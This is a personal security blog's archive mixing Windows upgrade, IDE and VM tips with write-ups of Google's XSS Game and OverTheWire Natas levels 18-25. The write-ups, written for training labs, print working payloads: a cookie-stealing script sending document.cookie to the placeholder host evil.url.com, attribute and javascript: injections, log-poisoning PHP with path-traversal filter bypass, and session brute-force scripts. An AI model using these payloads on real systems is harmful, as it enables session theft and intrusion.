DISCLAIMER: The information in this site is for educational purpose only. The authors of this blog are not responsible for any kind of misuse of this information.

Friday, June 10, 2016

to the Dark Side and Beyond: Upgrading to Win10

Ukuthula !

It was announced that Windows 10 supports bash now.
So, IDFC about my privacy anymore :)

In this post we will upgrade our neglected windows machine to Windows 10.
The internet experiences many problems in upgrading. It also full of risky and not working solutions. This post was written in order to give you more power in debugging your problems.

Today I'll give you tools to debug your error code, specifically debugging error code 0x80070006

First, start the upgrade.
The upgrade process will create a hidden folder in your main drive with some very interesting logs:
$WINDOWS.~BT/Sources/Panther/setupact.log - logs setup actions
$WINDOWS.~BT/Sources/Panther/setuperr.log - logs setup errors

 by inspecting setuperr.log we can identify the specific problem.

when the update fails, it just reboot, writes something about rollback, reboots and then when the old windows installation boots we get a description of the error. The description is very (!) minimalistic and actually says nothing about the real problem.

In case of 0x80070006, the error message is "the installation failed in the SAFE_OS phase with an error during APPLY_IMAGE operation".=S

From the setuperr.log we learn that the actual problem was during copying compressed old windows installation. Mmm .. seems like space problem on our main drive. This is in spite of Windows 10 says that we have enough space! Probably someone forgot to count the compressed Windows.old size.
In my case Windows.old consumes ~15GB

I extended my main drive (using a partition tool) and reinstalled. It actually did the magic and windows 10 was installed :)

BTW the discussed hidden folder $WINDOWS.~BT can be deleted safely. It consumes some GBs you can get rid off :)

Thursday, April 28, 2016

CLion preprocessor include hack

Ahoj !

Clion is a great IDE and I really enjoy it. But, with some little buts:

The indexer is CMake oriented. It learns what to index and how by cmake directions.
In many cases we work with a makefile projects. Usually it's pretty easy to convert it to cmake for the CLion indexer to work properly.

But, when it comes to preprocessor includes what would you do ?
By preprocessor includes I mean "-include" compiler directions passed to gcc.

My hacky-but-working solution was to add the includes directions to each file, wrapped in #ifdef block that will be false on compilation but true for CLion indexer:

#ifdef CLION_PREPROCESSOR_INCLUDE
#include <...>
#endif

In CMakeLists.txt add_defenitions will contain -DCLION_PREPROCESSOR_INCLUDE

And now the indexer will work fine :D

Another issue was discovered during this hack.
Clion indexer has the classic bug of recursive indexing a file contains #include directive to itself ...

Saturday, October 10, 2015

CLion on Arch linux

Sup ?

I wanted to try the brand new IDE from JetBrains for C/C++ development. It's called CLion.
It was really easy to deploy. I downloaded the tar from their site and executed

./clion.sh

But, after a short time ... the JVM crashed :O
I was really sad and tried the quick and dirty fix - upgrading my JRE ...
I gave clion.sh a second chance but the same exception comes out ...

I notice the jre directory near it. Maybe it uses it ?
I check the java -version of it and discovered it's OpenJDK RE 1.8
A little survey in clion.sh reveals it secrets:

# Locate a JDK installation directory which will be used to run the IDE.
# Try (in order): CL_JDK, ../jre, JDK_HOME, JAVA_HOME, "java" in PATH

so lets set CL_JDK to our installed JRE path and ... it's working :)

happy CLioning ^ ^

Saturday, September 12, 2015

OverTheWire - All Solutions !

As some of you maybe noticed, I removed the solutions of the great OverTheWire challenges. I did it after I being contacted by some of the wargames operators.

Now, go solve it yourself ! :D
If you ever need something, you can catch one of OTW masters at irc://irc.overthewire.org:6667
the community is a very nice, you should check it out
:)

#morla_is_my_hero

Saturday, November 15, 2014

WIN32 SEH

Saluton !

Today I gonna dump some facts about Windows Structured Exception Handling (SEH) mechanism. This article is mostly based on This great article.

OK, some dry facts about exception handling in Windows:
  • per thread
  • FS:[0] (TIB first dword) points to the first EXCEPTION_REGISTRATION struct
_EXCEPTION_REGISTRATION struct
     prev    dd      ? // EXCEPTION_REGISTRATION linked list next record
     handler dd      ? // _except_ handler callback function pointer
_EXCEPTION_REGISTRATION ends
except_handler callback 
  • can agree/decline to handle a given exception
    • if declined, the system will continue looking for other exception handler
 EXCEPTION_DISPOSITION __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord, // registers values when exception occured
     void * DispatcherContext );
 typedef struct _EXCEPTION_RECORD
 {
     DWORD ExceptionCode; // assigned by OS
     DWORD ExceptionFlags;
     struct _EXCEPTION_RECORD *ExceptionRecord;
     PVOID ExceptionAddress; // where the exception occured
     DWORD NumberParameters;
     DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
 }  EXCEPTION_RECORD;
 Exception handling flow:


 

  • Exception occurred
  • The system walks the EXCEPTION_REGISTRATIONs linked list to find a hanlder
  • when a handler agreed to handle the exception all the handlers before it are called again with flag EH_UNWINDING (to allow cleanups*) 

    * when handler declines handling an exception, control typically doesn't exit from the function normally - calling dtors and finally blocks
  • execution continues wherever the handling callback decides (with ebp, esp set by the handler)
 Unwinding from an exception 
  • all things below the handling frame's stack region are "removed"
  • EXCEPTION_REGISTRATIONs in the list prior to the one that handled the exception are removed from the list
  • see step 11 in the above figure 
 The last EXCEPTION_REGISTRATION element
  • default OS supplied exception handler (terminate / debug dialog)
  • always agrees to handle an exception
  • if no debugger is installed, the default dialog you will see may be similar to this:

Visual C++  Compiler level SEH
  • every EXCEPTION_REGISTRATION handler points to the same VC++ runtime lib function __except_handlerX
  • only one EXCEPTION_REGISTRATION is created per function on the stack

The Extended Exception Handling Frame

 EBP-00 _ebp
 EBP-04 trylevel
 EBP-08 scopetable pointer
 EBP-0C handler function address
 EBP-10 previous EXCEPTION_REGISTRATION
 EBP-14 GetExceptionPointers // pointers to GetExceptionInformation, GetExceptionCode

 EBP-18 Standard ESP in frame

struct _EXCEPTION_REGISTRATION{
      struct _EXCEPTION_REGISTRATION *prev;
      void (*handler)(PEXCEPTION_RECORD,
                      PEXCEPTION_REGISTRATION,
                      PCONTEXT,
                      PEXCEPTION_RECORD);
       struct scopetable_entry *scopetable;
       int trylevel; // index into scopetable
       int _ebp; // ebp value before the EXCEPTION_REGISTRATION was created
       PEXCEPTION_POINTERS xpointers;
};
 typedef struct _SCOPETABLE
 {
     DWORD       previousTryLevel; // the next level try block trylevel (most in -> out)
     DWORD       lpfnFilter
     DWORD       lpfnHandler
 } SCOPETABLE, *PSCOPETABLE; 

There is more to learn about this mechanism but I'll stop here. What we know now is sufficient to reverse a program that uses SEH & Exceptions to obfuscate its execution flow.

The main idea behind this technique is expressed in the following simple example:

void foo() 
{
    printf("code line #1\n");
    printf("code line #2\n");
    printf("code line #3\n");
}

will become:
void foo()
{
    try 
    {
        // exception
    }
    catch(...) 
    {
        printf("code line #1\n");
        try 
        {
            // exception
        }
        catch(...)
        {
            printf("code line #2\n");
            try 
            {
                // exception
            }
            catch(...)
            {
                printf("code line #3\n");
            }
        }
    }
}


Friday, July 11, 2014

Challenge of a different kind - Exporting a Virtual PC Windows XP Mode VM to VirtualBox

Hola ~!

Today I wanna share a solution to a technical challenge I encountered - Exporting a Virtual PC Windows XP Mode VM to VirtualBox.

Reason: Virtual PC is a good virtualization framework but I wanted to have all my VMs in a single place - VirtualBox.

A long search didn't yield any magic solution for this, so I had to think on a strategy.

The most Intuitive solution will be to create a new VirtualBox VM which will use the Windows XP Mode vhd (Virtual Hard Disk). It didn't succeed because this VM is more complex than it looks like:

It composed of a vhd for the specific Windows XP Mode instance and a parent vhd for all the Windows XP Mode instances in Virtual PC.

I can see why this design is efficient but it damages VM portability - The user will have to copy two vhds to set the same VM on a different machine. 
In addition, this concept isn't standard and isn't supported in other frameworks so exporting the VM is not trivial at all.

TL;DR ? The solution: disk2vhd from the legendary SysInternals Suite !

The first task will be to export Windows XP Mode VM as independent VM:

1. run disk2vhd on the  Windows XP Mode VM and choose all partitions
2. checkboxes:
  • _ Prepare for use in Virtual PC
  • _ Use Vhdx
  • V Use Volume Shadow Copy
3. choose a vhd file name
4. Hit create button !
  
Now we have a vhd with our complete Windows XP VM, independent from Windows Virtual PC. 

The second task will be to import it to VirtualBox:
1. create new Windows XP VM
2. choose "Existing hard drive" and use the path of the vhd file we created.
3. start the machine :)

Some notes:
* while copying the vhd file from the guest to host, make sure the system doesn't go to sleep ... otherwise the copy will fail

Solved !

Tuesday, June 3, 2014

XSS Game Insights

The XSS Game demonstrates one of the most common vulnerabilities found in the wild - Cross Site Scripting.
This vulnerability allows us, as attackers, to inject client side code into pages which will be executed on a victim client with the rest of the client code on the page.
In this challenge, we attack ourselves. This is the first step, the PoC (proof of concept) to demonstrate the vulnerability existence. 'alert' was executed successfully therefore any other code will do.

The second step will be to exploit the vulnerability.
 For example, an attacker can write a simple client side code to steal victim's cookies from the vulnerable site (why not all cookies ? read more SOP):

function httpGet(url)
{
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
}
httpGet("evil.url.com?cookies="+document.cookie);

Try to inject it to level 1 (wrap this code with <script>...</script>). As you can see, when the page with our injected code will be rendered on the victim, a HTTP request to our site (evil.url.com) will be generated with the user's cookies }:-D.

So our exploit is ready and tested locally. Now we want to attack the victim.

In the case of level 1 we will have to provide the victim with a url containg our code in the query parameter:

xss-game-url/level1/frame?query=%3Cscript%3E+function+httpGet%28url%29+{+var+xmlHttp+%3D+new+XMLHttpRequest%28%29%3B+xmlHttp.open%28%22GET%22%2C+url%2C+false%29%3B+++++xmlHttp.send%28null%29%3B+}+httpGet%28%22evil.url.com%3Fcookies%3D%22%2Bdocument.cookie%29%3B+%3C%2Fscript%3E

If the victim installed a plugin such as NoScript, this simple XSS attack will be prevented (recommended).

That's it. In this post I wanted to give a more whole picture about XSS attacks.

Happy XSSing ! :D (only on yourself of course ...)

Friday, May 30, 2014

XSS Game 6/6

Lets start by inspecting the interesting parts of the source code:
    ...
    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      // NOT ! ]:-)
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      ...

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());
    ...

It seems like we just have to provide a url to a js file with alert call.

I used http://tempsend.com to upload my js file which contains:
 alert("Owned!"); 

Now we want to include it in the victim page. It's challenging, the http:// prefix of a url is sanitized. There are some ways to bypass it:
  • When passing url with // prefix the used protocol is the same of the protocol used to fetch the calling page (in our case http, as required).
  • We can use uppercase prefix (HTTP://) which is not sanitized (or partly uppercase prefix such as HttP://)
  • We can upload our js file to a server supporting https://
We change the gadget script parameter to be:
//tempsend.com/path/to/alert.js
And this level is ... Owned !

OWNED THE CAKE !!! Omnumnumnum

                                                         -oooo:-                                                        
                                                        omhsoosho`                                                      
                                                        Ndo:``:oh-                                                      
                                                        dms+--+ym:                                                      
                                                        -ymhohdh+`                                                      
                                                         `N/`.s.                                                        
                                                          +:  +                                                         
                                                          --  :                                                         
                                                          --  o                                                         
                                                          ..  +                                                         
                                                          ::  s        ..`                                              
                                                .:sssso.  --  +     :syhhyo`                                            
                                ..::::.       `odhhyyhdd. ::  s    .mhhyhhdh.       -:...`                              
                               /dhhhhhhs     .odddhyhdddh+y:  my-syhdhhyhhddy/`   .odhyyhh:                             
                              yNdhyyoyhmo+::+ms/+++//++/odm:  NNmNd+///+++/+ody::omhyssyhdm-                            
                            -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`                          
                        ``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-`                      
                     `:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo.                    
                    /hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo.                  
                   +dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy                  
                  `hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN                  
                  `yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN                  
                   sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN                  
                   -NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN                  
                   oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM                  
                   yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM                  
                  .dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM                  
                  :NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM                  
                  -mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM                  
                  .dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM                  
                  :NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM                  
                  :NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN                  
                  :NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM                  
                  `hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN                  
                   yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN                  
                   yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN                  
                   yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy                  
                   +MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN:                  
                    NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs`                  
                    -sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-`                   
                      `.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.`                      
                          :+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/-                          
                             `--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.`                              
                                     `--++osdddddddysNmmhshmmmmmNmddddddho/:++/---                                      
                                                    `-.-. .------.                                 

    

XSS Game 5/6

Lets start with behavioral analysis.

Try to signup. We redirected to /frame/signup?next=confirm
enter some email address, we redirected to /frame/confirm and then back to /frame/welcome

seems like the next button on signup page redirected to the value of next parameter!
This means we control the 'href' attribute of the <a> tag (we can see it also in the source)
lets try to put inline javascript in it :
next=javascript:alert('Owned!')
 And ... Owned !

XSS Game 4/6

OK another one :)

As always we start with behavioral analysis. Lets give some number to the timer. Oh, we redirected to another page with a waiting message:

"Your timer will execute in <timer> seconds."

<timer> is the value we passed in the previous page. The first page contains a form which generates a HTTP GET request with the parameter 'timer' to timer.html (the actual HTTP GET request is to index.html but the webserver redirect it to timer.html if a 'timer' parameter was added) 

OK, cool. Instead of giving a numerical value lets inject some html tag >:)


<b>XSS?</b>
=O It was sanitized! Meaning the real fun begins :D

lets inspect timer.html page:
<script>

      function startTimer(seconds) {

        seconds = parseInt(seconds) || 3;

        setTimeout(function() {

          window.confirm("Time is up!");

          window.history.back();

        }, seconds * 1000);

      }

    </script>

  </head>

  <body id="level4">

    <img src="/static/logos/level4.png" />

    <br>

    <img src="/static/loading.gif" onload="startTimer('<timer_value>');" />

    <br>

    <div id="message">Your timer will execute in {{ timer }} seconds.</div>

we will try to inject our code to:
onload="startTimer('<timer_value>');"
This is strategic place because this code is executed on page load.

For injecting without any annoying popups, lets start our injected timer value with 100000000.
The timer won't be triggered soon, we have time to work without interrupts :)

timer=100000000

first, we want to escape from the '...' context. Lets inject timer=100000000%27 (%27 represents ' in hex-encoded ascii).
We get Uncaught SyntaxError: Unexpected token ILLEGAL In Chrome console. It seems that now we broke something - the ' we injected messed up the timer value warpping.

Lets continue with calling to alert.
we want something like this: startTimer('1');alert('Owned!');
timer written hex-encoded: timer=1%27%29%3Balert%28%27Owned!

Notice we didn't inject the closing ') for the alert because it already was there.
We changed the time value to 1 to avoid waiting forever for the timer to fire up.

Owned !

XSS Game 3/6

Hola mocosos!

On this level we have a site without any input fields. Interesting, isn't it the only channel to enter input ?

Of course not ! The most basic user input is the URL he enters in his browser which generates a HTTP GET request sent to the HTTP server. This request can carry user parameters for loading the required page.

Lets begin. When clicking 'Go' we notice that the URL changed to ../frame#1
Interesting. Lets click on Image 2 and Image 3 tabs, the number at the end changed in both cases.

Lets try to get /frame#42. Nice ! The title is Image 42, meaning we have a sort control on the content the victim client is parsing. We notice that no image was loaded, maybe it has something to do with the number we pass ? Maybe it's an index for images container or something ?

Time to raise the bar and inspect client side code ! The inspection is still considered blind because we don't have the server source code (the standard case)

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(self.location.hash.substr(1) || "1"); 
        // [!] the function chooseTab is called 
           //with the parameter after the '#' from the url on load
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(self.location.hash.substr(1));
        }
      }, false);
    </script>
This code gives an explanation to the controlled integer field we observed on first sight.
The most interesting line is:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
This line shouts: "unsanitized user input is mixed up with code" This code is later sent back to the client which renders it (Javascript code)

Remembers the technique from the previous level ? lets use it again: We will inject this:
1000.jpg' onerror='alert("Owned!")' alt='

We get:
<img src='/static/level3/cloud" + "1000.jpg' onerror='alert("Owned!")' 
alt='" + ".jpg' />
More readable (after concatination):
<img src='/static/level3/cloud1000.jpg' onerror='alert("Owned!")' 
alt='.jpg' />
The image we try to load doesn't exist and the onerror event we defined will be triggered. We added alt attribute to push the hard-coded '.jpg' that was there. alt attribute defines the description of the image >< (So 90s)

We can announce owned ! >:)

XSS Game 2/6

Sup ?

Here we have kind of chatting service (very lame one because of the xss bug in it =D)
Let's start our blind inspection:
Input:
<b>Sup?</b>
As we can see our HTML tags were rendered by the browser too ! No escaping again >:)
the trivial next input will be
<script>alert("Owned?")</script>
But this time it doesn't work (If it was, this level won't teach us nothing we didn't learn from the previous one).
Seems like someone filtered out <script> HTML tags from his chatting service (chatting service requires at most tags for styling such as bold/underline so it's reasonable not to support it)

So ... our trivial injection doesn't work but there are plenty of options to execute javascript on a victim client }:-)

It's a chatting service -- so maybe <img/> is supported. OK, it is. What could be done with that ???
we can define javascript code to be called on events such as onclick, onload, onerror.
  •  The first option will require the victim to click on the image, therefore requires more than just injection (convince the victim to click on it) 
  •  The second option requires a successful image loading so we will have to supply an image to load ... Nobody Got Time For That ! 
  • The third option requires an unsuccessful image loading. Easy ! let's give bad img src value and the event will be fired :) 
<img src='bad_src' onerror="alert('Owned!')"/>

Gotcha!

XSS Game 1/6

Hola ! Lets beat Google's xss-game. You can find it here:
http://xss-game.appspot.com/

To make it more challenging I'll demonstrate it as blind injection :)
OK, we have a popular search engine called '4|4'. Lets check if we can inject HTML at all.

Input : "<script></script>"
Output : "Sorry, no results were found for . Try again."

In the normal case it will be "Sorry, no results were found for . Try again.". This means the server sent the client our input as is and it was rendered as regular HTML code on the page.
Now lets inject the real thing:
<script>alert('Owned!')</script>

Owned ! Now lets see the reason - the server side code that generates this page:
...
    query = self.request.get('query', '[empty]')
       
    # Our search engine broke, we found no results :-(
    message = "Sorry, no results were found for <b>" + query + "</b>."
    message += " <a href='?'>Try again</a>."

    # Display the results page
    self.render_string(page_header + message + page_footer)
...
We can see that our query is mixed with the regular HTML page content without any escaping ... any developer should avoid that.
Let's move on !

Sunday, December 15, 2013

OverTheWire Natas 25

Code inspection first !
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/tmp/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
logRequest function let us append arbitrary content to arbitrary file path. Why ?
1. We control $_SERVER['HTTP_USER_AGENT'] which is the value of the User-Agent HTTP header.
2. We control session_id() by PHPSESSID cookie value.

Let's set User-Agent to be the following:
<?php echo file_get_contents('/etc/natas_webpass/natas26') ?>
and PHPSESSID value to be 'pwned'.

So, what we have done until now: if the logRequest function will be called, a PHP code that will print the next level password will be wrote to the file /tmp/natas25_pwned.log.

The last step is to display this code output. We can do it by including /tmp/natas25_pwned.log file content in the page by exploiting the following function which is called on page loading:
function setLanguage(){
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))
        if(safeinclude("language/" . $_REQUEST["lang"] ))
            return 1;
    safeinclude("language/en"); 
}

function safeinclude($filename){
    // check for directory traversal
    if(strstr($filename,"../")){
        logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }
    // dont let ppl steal our passwords
    if(strstr($filename,"natas_webpass")){
        logRequest("Illegal file access detected! Aborting!");
        exit(-1);
    }
    // add more checks...

    if (file_exists($filename)) { 
        include($filename);
        return 1;
    }
    return 0;
}

You can see that safeinclude function gives us hard life by removing '../'. To bypass it we will use the following distinction:
'..././' will become '../' after '../' will be removed. Therefore, we can use it to escape from the 'language/' directory and include arbitrary path (/tmp/natas25_pwned.log)
We will set lang GET parameter to be:
lang=..././..././..././..././..././tmp/natas25_pwned.log


It will trigger the logRequest function because there was a directory traversal attempt and the PHP code we saw earlier will be written to the included file.
Pwned ! :)

OverTheWire Natas 24

As always, we will begin with code analysis:
<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
strcmp is used. Therefore, passwd GET parameter is expected to be a string. We want strcmp to return 0. It will happen if passwd will be a string equals to which is unknown. The other case is that passwd won't be a string!

Let's pass it as array, e.g. passwd[]=hacked. The following warning will be printed:
Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
Together with the next level key :)

Friday, December 13, 2013

OverTheWire Natas 23

Let's inspect the code:
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: </pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }

It reveals that if the GET parameter passwd will be sent, containing the substring 'iloveyou' and has a numeric value above 10, we will get the next level credentials !

So, our passwd parameter will contain 'iloveyou' as substring.
The condition

$_REQUEST["passwd"] > 10
does an implicit casting of string to int by using the numeric part of it from the beginning of the string. For example "10str" will become 10.

In all of this in mind, we will set passwd to be 100iloveyou. 100 > 10 and iloveyou appers. Done :)

OverTheWire Natas 22

Code inspection reveals that if we will send the GET request with "revelio" parameter, we will receive the next level credentials.

There is one complication. If we are not the admin, a redirection header will be added to the HTTP response. To overcome this, don't use a browser (alternatives - wget, curl, proxy tool ... )

And you got the keys to the next level :)

OverTheWire Natas 21

Code analysis shows that we need the 'admin' field to be set to 1 in order to get the next level credentials.
There is also another page in this level - http://natas21-experimenter.natas.labs.overthewire.org/ The code of this page contains the following block:
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 
If 'submit' was sent as a GET parameter, each (key,val) tuple in the GET request will become a key in the session with 'val' as value.
We will use it to set the session key-value ('admin',1).

The session is shared across the pages, therefore when we will back to http://natas21.natas.labs.overthewire.org/ , we will be identified as admin ! Solved :)

OverTheWire Natas 20

So from code analysis we can conclude that in order to get the next level credentials we have to be identified as admin.
How we gonna do it ? Further analysis shows that we need a way to write to the session file the following line:
admin 1

Easy! The name parameter is written to the session file. We can append it the required line by sending the following name as parameter:
hacker%0Aadmin%201
Unescaped:
hacker
admin 1
Then the session file will look like this:
name hacker
admin 1
And when it will be read, we will have admin field set to 1 in our session --> got admin !
The next level credentials will be printed. GAME OVER :)

OverTheWire Natas 19

When inspecting our PHPSESSID cookie, we can see it's seems to be encoded in hex. Decoding it reveals it's true and the structure is:
PHPSESSID = hex((sessid)+'-'+(username))

when (sessid) is a random number probably in {1,2,...,641} (inspected by deleting the PHPSESSID cookie several times)

We are interested, again, in the admin user session. So, (username) will be replaced with 'admin' and we will use brute-force on the (sessid) parameter as we did in the previous level.

import requests

for sessid in range(641,0,-1):
 r = requests.get('http://natas19.natas.labs.overthewire.org', \
            auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'), \
            cookies={'PHPSESSID':(str(sessid)+'-admin').encode('hex')})
 
 if 'You are an admin' in r.content:
  print r.content # print next level credentials
  break
Solved :)

Thursday, December 12, 2013

OverTheWire Natas 18

First, let's inspect the source code: we can see that our target is to own a session with 'admin' key set to 1 in order to receive the credentials for the next level. The problem is that there is no way to add fields to our session, except for the following commented-out function and its call:
function isValidAdminLogin() { /* {{{ */

    if($_REQUEST["username"] == "admin") {

    /* This method of authentication appears to be unsafe and has been 

       disabled for now. */

        //return 1;
    }
    return 0;
}

...

$_SESSION["admin"] = isValidAdminLogin(); 
So instead of try manipulating our own session, let's try identifying with the admin session ! The session id is generated by the following function:
function createID($user) { /* {{{ */     
 global $maxid;     
 return rand(1, $maxid); 
}
where
$maxid = 640;
The function generates a random session id in {1,2,...,640} --> The session id space is small enough for brute-force attack to be feasible.
import requests

for sessid in range(641):

    r = requests.get('http://natas18.natas.labs.overthewire.org?debug=1', 
        auth=('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'), 
        cookies={'PHPSESSID':str(sessid)})

    if 'You are an admin' in r.content:
        print r.content # will print next level credentials.
        break 
Solved :)